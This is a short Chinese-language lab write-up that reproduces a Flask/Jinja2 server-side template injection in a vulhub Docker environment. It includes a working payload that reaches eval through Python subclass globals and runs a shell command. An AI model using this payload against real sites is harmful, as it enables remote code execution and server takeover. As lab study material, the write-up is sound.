flask-ssti 漏洞复现

一 服务端模板注入漏洞
服务器模板注入 (SSTI) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI 攻击可以用来找出 Web 应用程序的内容结构。
二、利用搭的 vulhub 靶机漏洞复现
1,在自己主机上安装 vulhub, 然后进入 flask 里的 ssti
docker-compose up -d 开启漏洞环境
2,然后在浏览器上访问ip:8000
.
3,访问 [http://your-ip/?name={{233*233}}
得到 54289,说明 SSTI 漏洞存在。
.
4,获取 eval 函数并执行任意 python 代码的 POC: // 获取 os
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
5、最后放到浏览器里注意要 url 编码,得到执行结果。
.
本作品采用《CC 协议》,转载必须注明作者和本文链接
推荐文章: